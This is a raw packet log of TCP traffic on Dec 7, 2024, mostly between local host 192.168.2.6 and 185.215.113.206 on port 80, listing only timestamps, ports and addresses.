Dec 7, 2024 22:40:12.832267046 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.832309961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.832370043 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.832415104 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.834239006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.834285975 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.834332943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.834378958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.836194038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.836239100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.836292028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.836335897 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.838134050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.838177919 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.838241100 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.838282108 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.840120077 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.840163946 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.840214014 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.840274096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.842066050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.842122078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.845814943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.845869064 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.845901966 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.846039057 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.846765995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.846805096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.846888065 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.846935034 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.848712921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.848757029 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.848823071 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.848866940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.850718975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.850765944 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.850795031 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.850830078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.852639914 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.852684975 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.852714062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.852757931 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.854623079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.854669094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.854701042 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.854741096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.856575966 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.856621027 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.856688976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.856730938 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.858522892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.858576059 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.858659983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.858700991 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.860487938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.860541105 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.860615969 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.860662937 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.862462997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.862509966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.862618923 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.862664938 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.864420891 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.864479065 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.864528894 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.864573002 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.913640976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.913722038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.913727045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.913760900 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.914580107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.914640903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.914689064 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.914741039 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.916584969 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.916663885 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.916680098 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.916719913 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.918637991 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.918680906 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.918684959 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.918715000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.920542955 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.920593977 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.920604944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.920638084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.922430038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.922472954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.922538042 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.922580957 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.924443007 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.924484968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.924768925 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.924813986 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.926821947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.926835060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.926867008 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.928513050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.928559065 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.981285095 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.981300116 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.981312037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.981348991 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.981375933 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.981406927 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.982683897 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.982777119 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.982853889 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.982899904 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.983849049 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.983903885 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.983998060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.984041929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.985030890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.985074997 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.985130072 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.985172033 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.986288071 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.986332893 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.986388922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.986433983 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.987539053 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.987596035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.987678051 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.987724066 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.988833904 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.988919020 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.988924026 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.988977909 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.990073919 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.990130901 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.990166903 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.990211010 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.991367102 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.991404057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.991424084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.991436958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.992623091 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.992677927 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.992772102 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.992820978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.993860006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.993921041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.993956089 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.994015932 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.995143890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.995223999 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.995229006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.995263100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.996428967 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.996469021 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.996494055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.996531010 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.997688055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.997734070 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.997792006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.997838974 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.998922110 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.998965025 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:12.999049902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:12.999110937 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.000269890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.000315905 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.000366926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.000406981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.001432896 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.001490116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.001543045 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.001584053 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.002703905 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.002748966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.002895117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.002935886 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.003998995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.004045010 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.004065037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.004105091 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.005235910 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.005285978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.005335093 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.005378962 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.006498098 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.006539106 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.006592989 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.006633997 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.007766008 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.007813931 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.007898092 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.007941008 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.009056091 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.009100914 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.009133101 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.009176970 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.010278940 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.010324955 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.010401011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.010448933 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.011559963 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.011605978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.011641026 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.011679888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.012789011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.012833118 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.013314962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.013362885 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.015405893 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.015417099 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.015429974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.015443087 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.015451908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.015490055 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.016835928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.016880035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.016976118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.017016888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.018174887 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.018220901 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.018332958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.018383980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.019272089 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.019309998 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.019490004 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.019532919 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.020570040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.020616055 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.038062096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.038083076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.038239956 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.038240910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.038542986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.038641930 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.038681030 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.038727045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.039649963 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.039695024 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.040039062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.040083885 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.040148020 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.040194035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.041209936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.041256905 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.041287899 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.041332006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.042273998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.042320967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.042385101 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.042428970 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.043431997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.043478966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.043540001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.043572903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.044531107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.044572115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.044631004 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.044677019 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.045659065 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.045711040 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.045773029 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.045816898 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.046749115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.046788931 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.046818018 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.046865940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.047882080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.047923088 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.047926903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.047965050 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.108827114 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.108900070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.109040976 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.109436035 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.109497070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.109503031 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.109535933 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.118181944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.118231058 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.118304014 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.118349075 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.118769884 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.118817091 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.118844986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.118892908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.119868040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.119914055 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.119942904 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.119982958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.120948076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.120991945 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.121023893 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.121072054 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.122102976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.122148991 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.122200012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.122246981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.123141050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.123188972 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.123281956 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.123327971 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.124332905 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.124367952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.124380112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.124423981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.125375986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.125422955 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.125508070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.125554085 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.126470089 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.126518965 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.161461115 CET	443	49702	173.222.162.64	192.168.2.6
Dec 7, 2024 22:40:13.161669970 CET	49702	443	192.168.2.6	173.222.162.64
Dec 7, 2024 22:40:13.172985077 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.173054934 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.173083067 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.173129082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.173418999 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.173470020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.173532009 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.173582077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.174437046 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.174484015 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.174562931 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.174608946 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.175367117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.175412893 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.175472021 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.175517082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.176326990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.176374912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.176527023 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.176573992 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.177329063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.177373886 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.177402020 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.177436113 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.178263903 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.178312063 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.178375959 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.178420067 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.179322958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.179368019 CET	49707	80	192.168.2.6	185.215.113.206
